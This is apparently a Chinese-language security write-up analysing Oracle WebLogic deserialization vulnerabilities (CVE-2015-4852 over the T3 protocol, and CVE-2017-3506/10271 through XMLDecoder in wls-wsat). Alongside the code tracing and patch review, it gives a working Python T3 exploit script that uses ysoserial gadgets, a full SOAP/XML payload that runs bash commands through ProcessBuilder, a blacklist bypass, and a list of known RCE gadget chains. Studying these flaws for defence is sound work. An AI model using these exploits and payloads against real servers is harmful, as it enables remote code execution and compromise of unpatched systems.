浅析Weblogic 反序列化漏洞
目录
先引用一下奇安信团队发出的weblogic历史漏洞图,可以发现以反序列化为主,反序列化问题主要来自XMLDecoder和T3协议
T3协议
weblogic t3协议就是weblogic的rmi所使用的协议。 在传统java中,rmi使用的是jrmp协议。
JRMP协议的通信由如下部分构成
客户端对象
服务端对象
客户端代理对象(stub)
服务端代理对象(skeleton)
而T3协议在JRMP协议上做出了改进,stub和skeleton都是动态生成的,将对象部署到RMI注册中心时weblogic会自动生成stub和skeleton。
Weblogic之所以开发T3协议,是因为他们需要可扩展,高效的协议来使用Java构建企业级的分布式对象系统
抓包分析
我们想抓包分析T3协议有两个方法 1.写一个T3 rmi server和一个T3 rmi client,启动client去请求rmi server,从而实现抓包,这个方法的详细步骤在这篇文章中https://hu3sky.github.io/2020/03/20/weblogic%20t3%20%E5%8D%8F%E8%AE%AE%E5%88%A9%E7%94%A8%E4%B8%8E%E9%98%B2%E5%BE%A1/#%E5%AE%9E%E7%8E%B0%E6%AD%A3%E5%B8%B8t3%E7%B1%BB%E7%9A%84%E8%B0%83%E7%94%A8
2.使用python模拟client发包,从而实现T3协议抓包分析。这个实现起来比较容易,我们就通过该方法来一窥T3协议的奥妙。 https://xz.aliyun.com/t/10365#toc-1环境的搭建在这篇文章中,这里不再赘述。
在完成环境搭建后,我们使用如下exp
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "E:\\tools\\java\\ysoserial-master-d367e379d9-1.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
#return
header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")
payload = header + t3header +desflag+ payload
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/hack"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
指定端口和IP后,可以通过以下指令来看是否攻击成功
docker exec weblogic1036jdk7u21 ls tmp/
我们通过抓取相关流量包来一窥T3协议,wireshark设置tcp.port==7001,执行以上脚本,抓取T3流量
发送的第一个包为T3协议头,t3后面接的使weblogic客户端版本
服务器会返回应答,并在HELO 后接weblogic服务端版本,利用这个特性可以刺探weblogic服务器版本
接下来客户端会发送一个相对比较大的数据包,其内容分析如下
数据包仅为蓝色部分的内容,第一个框中是数据包的长度,第二个框是反序列化标志,两个框中间是T3协议头,剩下的便是序列化数据。
T3协议发送序列化数据时有时候并不只发送一段序列化数据,它可能会发送多个序列化数据,彼此之间以反序列化标志隔开,就像这样
CVE-2015-4852
漏洞版本
10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0
上面的exp就是哪来打这个洞的,上述CVE版本没有对T3反序列化安全问题做任何防范,利用T3协议反序列化CC链。jdk1.7,weblogic10.3.6.0 用cc链1,3,6都能打。
这个洞可以说是weblogic反序列化漏洞的源头了。
分析
weblogic.rjvm.InboundMsgAbbrev#readObject
作为入口的readObject方法就在此处,在此中调用了InboundMsgAbbrev.ServerChannelInputStream的readObject方法,var1即是序列化后的数据,我们进行一个跟进
InboundMsgAbbrev.ServerChannelInputStream#readObject
跟进后发现此类继承自ObjectInputStream且未重写readObject方法 也就是说序列化数据传入后直接以参数的形式传入了ObjectInputStream对象,并调用了其readObject方法。 于是便畅通无阻的触发了反序列化漏洞
resolveClass
这里之所以要说一下resolveClass,是因为网上很多T3反序列化相关文章都提了这个东西,也是我之前不知道的一个东西,所以便记录一下。
resolveClass是ObjectInputStream.readObject()中必经的一个方法,也就是说在反序列化过程中,序列化的数据都会从resolveClass这个方法中经过一次。
这个方法的作用是类的序列化描述符加工成该类的Class对象,很多针对反序列化Gadget的拦截都是通过重写此方法完成的(如通过黑名单来禁止某类反序列化)
贴上一张廖师傅的博客的反序列化攻击时序图: 可以看到反序列化拦截位置除了resolveClass以外还有一个resolveProxyClass,它用于返回实现了代理类描述符中所有接口的代理类,这里不对该方法展开叙述,它也可以被用作反序列化攻击的拦截
上文在分析CVE-2015-4852时,InboundMsgAbbrev.ServerChannelInputStream类重写了resolveClass,如果重写得当那么就可以起到缓解反序列化漏洞的作用,可惜这个类直接调用了父类的resolveClass
XMLDecoder
XMLDecoder是一套用于对XML进行序列化或反序列化的一套API,它在JDK1.4就已经被开发了出来,它对XML的解析模式并不是更为人所知的DOM解析,而是SAX解析。 DOM解析在解析XML时会读取所有数据然后生成DOM树来解析,而SAX则是线性读取XML,所以SAX解析XML性能消耗相对较小。
apache xerces
apache xerces是XMLDecoder解析XML时的一个重要组件。 apache xerces是一个用于解析XML中有哪些标签,语法是否合法的解析器,官方在JDK1.5便集成了此解析器并作为XML的默认解析器。
在XML序列化数据传达至XMLDecoder.readObject() 方法进行反序列化等操作后,便会传递给xerces进行解析,在xerces解析完毕后数据便会交给DocumentHandler完成后续的操作,如果是JDK1.6便会交给ObjectHandler进行处理。
DocumentHandler
DocumentHandler(com.sun.beans.decoder.DocumentHandler)在XMLDecoder处理XML数据时起到事件处理器的作用,它在JDK1.7中被实现。 它会跟进传入的XML标签,属性等信息调用不同的Handler进行事件处理 我们针对XMLDecoder的反序列化攻击便是传入特定的XML序列化数据由DocumentHandler进行事件处理,进而实现RCE等攻击。
下图是jdk1.7 DocumentHandler中所定义的各种标签的处理办法。
JDK1.6中也有个和DocumentHandler功能类似的ObjectHandler,但是它实现的标签远少于DocumentHandler,且远不如其规范化。下图是ObjectHandler的部分代码。
“值得注意的是CVE-2019-2725的补丁绕过其中有一个利用方式就是基于JDK1.6。”
下面举例一下各标签的作用
string
\
的意思就是表示一段值为aaa的字符串,这个标签一般与其他标签一起用来达到一些效果
object
object标签表示一个对象,其class属性指定类名,method属性指定某方法名(构造方法方法名为new)
如 new A("test"); 的xml文档表现为
<object class="A" method="new">
<string>test</string>
</object>
void
void一般与其他标签搭配使用,它也有method,class等属性,于是它和object标签十分相像。
void一般用于函数调用并通过method属性指定方法名,以及其他辅助作用(如array标签中充当索引)
如A a = new A(); A.foo("test"); 的xml文档表现为
<object class="A">
<void method="foo">
<string>test</string>
</void>
</object>
array
array标签用于表示数组,class属性指定类名,内部通过void标签的index属性设置索引
如 String[] a = new String[];s[1]="test" 的xml表现形式为
<array class="java.lang.String">
<void index="1">
<string>test</string>
</void>
</array>
工作原理
不同的XML标签对应着不同的handler,也就对应着不同的处理机制。 大多数handler都有addAttribute方法,这个方法主要用于提取标签中的属性并进行处理; 以及getValueObject方法,这个方法主要用于获取标签的值。
首先以java标签为例:var1对应着属性名,var2对应着属性值。java标签会根据class属性中的值进行类加载。
再来看看New标签:和java标签的handler类似,它也会进行类加载操作,不过NewElementHandler是许多handler的父类(如ArrayElementHandler,ObjectElementHandler),这就意味着NewElementHandler的子类也可以进行类加载
在上文中提到object标签有进行类加载的能力,是因为其class属性是由父类NewElementHandler进行处理的。
而void标签之所以和object标签如此相像的原因是,VoidElementHandler继承自ObjectElementHandler,且仅重写了一个isArgument方法,其它都和父类一样。
再来看看array,它也是一个很重要的标签
Demo调试
从上文大概知道XMLDecoder处理xml的流程为 :XMLDecoder.readObject() ->xerces解析->DocumentHandler事件处理,那不如写个Demo调试一下看看具体过程如何
import java.beans.XMLDecoder;
import java.io.*;
public class Main {
public static void main(String[] args) throws FileNotFoundException {
String s = "<java version=\"1.7.0_80\" class=\"java.beans.XMLDecoder\">\n" +
" <object class=\"java.lang.ProcessBuilder\">\n" +
" <array class=\"java.lang.String\" length=\"1\">\n" +
" <void index=\"0\"><string>calc</string></void>\n" +
" </array>\n" +
" <void method=\"start\"></void>\n" +
" </object>\n" +
"</java>";
StringBufferInputStream stringBufferInputStream = new StringBufferInputStream(s);
XMLDecoder xmlDecoder = new XMLDecoder(stringBufferInputStream);
Object o = xmlDecoder.readObject();
System.out.println(o);
}
}
直接开始动调,在demo中xmlDecoder.readObject() 处下断点。跟进。
readObject
跟进readObject,可以发现调用了parsingComplete(),继续跟进
java.beans.XMLDecoder#parsingComplete, 因为我们跟踪的是对XML的解析过程,所以这个parse方法就很可疑,而且又因为是可跟进的,所以我们对其进行一个跟进
com.sun.beans.decoder.DocumentHandler#parse,又发现一个parse,跟进
com.sun.org.apache.xerces.internal.jaxp. SAXParserImpl#parse,又找到一个parse,跟进
com.sun.org.apache.xerces.internal.jaxp. SAXParserImpl#parse,发现跟进来的这个parse是重载方法,在其中又发现了parse,再跟
com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#parse,发现parse,又跟
com.sun.org.apache.xerces.internal.parsers.XMLParser#parse
com.sun.org.apache.xerces.internal.parsers. XML11Configuration#parse
com.sun.org.apache.xerces.internal.parsers. XML11Configuration#parse,上一个parse的重载,其中调用了一个叫scanDocument的方法
跟进scanDocument,到这里就已经进入了xerces解析了。这里有个do..while循环,作用是提取XML标签
调用链:
ScanDocument
我们来看一下scanDocument这个方法。 这里循环执行了next()方法,在前十几个循环里,这个方法对XML进行了解析和事件处理。大致的处理流程是对每一个解析到的标签先实例化对应的handler,然后循环调用addAttribute方法获取其所有属性并进行一定的事件处理,当解析到某个标签的结束标签时(如\) 便会调用getValueObject 获取标签中的值的信息。这里借用一个图
public boolean scanDocument(boolean complete) throws IOException, XNIException {
this.fEntityManager.setEntityHandler(this);
int event = this.next();
do {
switch(event) {
case 1:
case 2:
case 6:
..................
case 12:
this.fDocumentHandler.startCDATA((Augmentations)null);
this.fDocumentHandler.characters(this.getCharacterData(), (Augmentations)null);
this.fDocumentHandler.endCDATA((Augmentations)null);
event = this.next();
下面的调试我对XML中所涉及的所有handler的所有方法均下了断点以方便调试。
我们XML中第一个标签是JAVA,于是我们在JavaElementHandler各方法下断点后,可以发现next方法内部会先实例化JavaElementHandler,然后调用addAttribute,将获取的类对象(java.beans.XMLDecoder)置入this。
然后自然是解析object标签,由于ObjectElementHandler未定义对class属性的解析,所以会调用父类NewElementHandler对其进行解析,将获取的类对象(java.lang.ProcessBuilder)置入this
就这样 得到标签->实例化Handler->循环标签属性进行事件处理 ,直到解析到第一个末标签(EndElement)\,便会执行StringElementHandler#getValueObject,返回被ValueObjectImpl.create处理过的标签内的值。
然后接下来会把这个ValueObjectImpl对象赋值到父标签对应的handler的属性里
而解析到\
在解析到\
如果我们跟进这个getContextBean就会来到这里,发现确实是调用链父handler即ObjectElementHandler的getValueObject
跟进看看父handler的getValueObject逻辑,发现确实是返回了一个new ProcessBuilder("calc"). calc字段在var5.argument中,截图中没有截出来。
回到本handler,通过拼接,执行了new ProcessBuilder("calc").start(); 弹出计算器。
总结
当xml数据传入到XMLDecoder.readObejct后经过一些处理会传入到scanDocument方法里,这个方法会循环解析XML标签并交由相应的Handler进行处理,且子标签的handler对父标签的handler由链表结构串联起来,所以每解析一个标签就会往这个链表结构增添新元素并进行一些事件处理。
从安全方面而言,便是攻击者通过传入恶意XML数据交由XMLDecoder进行解析,XMLDecoder会循环遍历XML数据并进行拼接处理,直到最后拼接出完整的恶意语句并执行。
CVE-2017-3506\&CVE-2017-10271
影响范围
- WebLogic 10.3.6.0
- WebLogic 12.1.3.0
- WebLogic 12.2.1.0
- WebLogic 12.2.1.1
- WebLogic 12.2.1.2
该漏洞利用weblogic的wls-wsat组件对XML用XMLDecoder进行解析的功能,从而对其传入恶意XML数据造成反序列化攻击。
复现分析如下
[*] wls-wsat组件路径:
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType1
对weblogic路由 http://xxx:7001/wls-wsat/CoordinatorPortType 发送如下数据包
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>touch /tmp/1234</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
并修改content-type
我这里直接在javaElementHandler#addAttribute 下断点然后观察堆栈信息 可以发现是WorkContextXmlInputAdapter#readUTF 处调用了xmlDecoder的readObject方法。我们的XML就这样传进去畅通无阻的进入了XMLDecoder的解析。
攻击结果
CVE-2017-3506
修补方案为采用黑名单机制禁用了object标签,这简直不要太好绕,所以CVE-2017-10271来了。
这是黑名单校验的相关代码。
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
绕过就是把object标签改为void标签就行了,因为从代码层面来看,void和object的handler因为是父子类关系,所以逻辑是高度相同的。
CVE-2017-10271的补丁则是继续把黑名单补全,可见除了object,还有method,new,array等标签都被做了处理。 object,new,method标签直接被ban,void属性只能设置index,array的class只能设置为byte类型。
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
直接绕它的黑名单的话,有如下思路
"
使用class标签构造类,但是由于限制了method函数,无法进行函数调用,只能从构造方法下手,且参数为基本类型:
- 构造函数有写文件操作,文件名和内容可控,可以进行getshell。
- 构造函数有其他的反序列化操作,我们可以进行二次反序列化操作。
- 构造函数直接有执行命令的操作,执行命令可控。
- 有其它的可能导致rce的操作,比如表达式注入之类的。
目前存在的利用链有:
- FileSystemXmlApplicationContext-RCE
- UnitOfWorkChangeSet-RCE
- ysoserial-jdk7u21-RCE
- JtaTransactionManager-JNDI注入